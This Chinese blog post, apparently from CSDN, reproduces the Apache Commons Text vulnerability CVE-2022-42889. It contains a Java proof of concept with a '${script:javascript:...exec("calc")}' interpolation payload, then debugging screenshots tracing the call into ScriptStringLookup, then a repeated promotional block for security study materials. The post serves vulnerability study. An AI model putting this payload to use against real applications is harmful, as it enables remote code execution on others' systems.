CVE-2022-42889 Apache Commons Text【漏洞复现】

本文链接：https://blog.csdn.net/2401_84972799/article/details/138750294


poc.java

import org.apache.commons.text.StringSubstitutor;
public class A {
public static void main(String[] args) {
StringSubstitutor stringSubstitutor = StringSubstitutor.createInterpolator();
String str1 = “${script:javascript:java.lang.Runtime.getRuntime().exec(“calc”);}”;
String str=“PoC Output: ${script:javascript:195 + 324}”;
String output = stringSubstitutor.replace(str);
System.out.println(output);
}
}


### 0x02 调试


![](https://img-blog.csdnimg.cn/a4385716c1a5496abfa188b8b9c6a19a.png)


 ![](https://img-blog.csdnimg.cn/a2d5ac34810b4912a69a4451fceb8a6d.png)



![](https://img-blog.csdnimg.cn/3efc6207409f44a9b6e22794df2e8124.png)



![](https://img-blog.csdnimg.cn/f760bc689023495ba3ecbb21d0fb6938.png)



![](https://img-blog.csdnimg.cn/3e43aba72daf48679bcac4eb17d1edb3.jpeg)



![](https://img-blog.csdnimg.cn/a60a180262a9484b83efbe634b63441c.png)


 



点一下左侧的箭头，先查看下接口，有很多



 ![](https://img-blog.csdnimg.cn/b3177e5652244be1a0df4a8db5680525.jpeg)


在上一步调试跟进看看进了哪个实现类


![](https://img-blog.csdnimg.cn/6c5e1996d11a4f6d98a8650f34dfad2e.png)


==》ScriptStringLookup


![](https://img-blog.csdnimg.cn/4bddb00cc26b47aab2dd62b85caaa0ba.png)


 ![](https://img-blog.csdnimg.cn/a0e959e6c03a4fe881ac7dae670d5a0c.png)


**到这里就差不多了**，如果感兴趣 eval 的实现，可以继续调试：


![](https://img-blog.csdnimg.cn/66e3423194804e30bef7bb6cd62ca12a.png)



查找属性 “javax.script.filename” 如果没有此属性，返回 <eval> 标签：


![](https://img-blog.csdnimg.cn/69a54fac5d604cd0805d0733666e3a48.png)



![](https://img-blog.csdnimg.cn/596a2269b1a547b783e5d1e4c9ba9404.png)




![](https://img-blog.csdnimg.cn/7843fd7a83d1435aa0fd2fc0c4fcda49.png)


 ![](https://img-blog.csdnimg.cn/9d469052e50947419eae07375c6871e8.png)
## 最后

**自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。**

**深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！**

**因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**

![img](https://img-blog.csdnimg.cn/img_convert/ccf4ee674ebf54b7ae43028d07076991.png)

![img](https://img-blog.csdnimg.cn/img_convert/5687f5f127a372b67687bbd449a57437.png)

![img](https://img-blog.csdnimg.cn/img_convert/dbb3895c1c72425c3f1550b7d5dcb100.png)

![img](https://img-blog.csdnimg.cn/img_convert/2d009fbb48dd28e7ead7a7da2f7f0459.png)

![img](https://img-blog.csdnimg.cn/img_convert/c8496830408e08086a169f5aefbeaef4.png)

 

**既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！**

[**如果你觉得这些内容对你有帮助，需要这份全套学习资料的朋友可以戳我获取！！**](https://bbs.csdn.net/topics/618653875)

**由于文件比较大，这里只是将部分目录截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且会持续更新！**

！！**](https://bbs.csdn.net/topics/618653875)

**由于文件比较大，这里只是将部分目录截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且会持续更新！**